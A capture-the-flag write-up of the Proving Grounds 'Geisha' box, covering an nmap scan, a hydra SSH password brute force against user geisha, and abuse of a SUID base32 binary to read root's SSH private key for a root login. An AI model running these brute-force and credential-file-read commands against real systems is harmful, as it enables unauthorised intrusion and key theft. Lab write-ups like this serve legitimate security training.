# Geisha Writeup - Proving Grounds

> Easy Linux box where the repeated hostname hints at the username geisha, whose SSH password is brute forced. A SUID base32 binary reads root's SSH private key, giving a root login.

- **URL:** https://hackindex.io/writeups/geisha
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** brute-force, ssh, suid, gtfobins, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Geisha repeats its own name across every web service, which hints at a username. A short SSH brute force against `geisha` succeeds, and a SUID `base32` binary reads root's SSH private key, giving a root login.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE  VERSION
# 21/tcp   open  ftp      vsftpd 3.0.3
# 22/tcp   open  ssh      OpenSSH 7.9p1 Debian
# 80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
# |_http-title: Geisha
# 7080/tcp open  ssl/http LiteSpeed httpd
# 8088/tcp open  http     LiteSpeed httpd
# 9198/tcp open  http     SimpleHTTPServer 0.6 (Python 2.7.16)
# |_http-title: Geisha
```

Several web servers all titled `Geisha`, plus FTP and SSH. The repeated name suggests the username `geisha`, so brute force its SSH password.

## Exploitation

### SSH brute force

Brute force the SSH password for `geisha`.

```bash
hydra -l geisha -P /usr/share/wordlists/rockyou.txt $TARGET_IP ssh
# [22][ssh] host: $TARGET_IP   login: geisha   password: $GEISHA_PASSWORD
# 1 of 1 target successfully completed, 1 valid password found
```

The password is recovered. Log in over SSH and enumerate SUID binaries.

## Privilege Escalation

### SUID base32 file read

List SUID binaries.

```bash
find / -perm -u=s -type f 2>/dev/null
# /usr/bin/newgrp
# /usr/bin/passwd
# /usr/bin/su
# /usr/bin/base32
# /usr/bin/sudo
# /usr/bin/mount
```

`/usr/bin/base32` is SUID. GTFOBins shows a SUID `base32` can read any file as root by encoding and decoding it. Read root's SSH private key.

```bash
base32 /root/.ssh/id_rsa | base32 --decode
# -----BEGIN RSA PRIVATE KEY-----
# MIIEpQIBAAKCAQEA43eVw/8oSsnOSPCSyhVEnt01fIwy1YZUpEMPQ8pPkwX5uPh4
# <snip>
# -----END RSA PRIVATE KEY-----
```

Save the key and log in as root over SSH on localhost.

```bash
ssh -i id_rsa root@localhost
# root@geisha:~# whoami
# root
```

The SUID `base32` leaked root's key, giving a root shell.

Related

## References

- [GTFOBins: base32](https://gtfobins.github.io/gtfobins/base32/) - A SUID base32 reads arbitrary files as its owner by encoding then decoding them.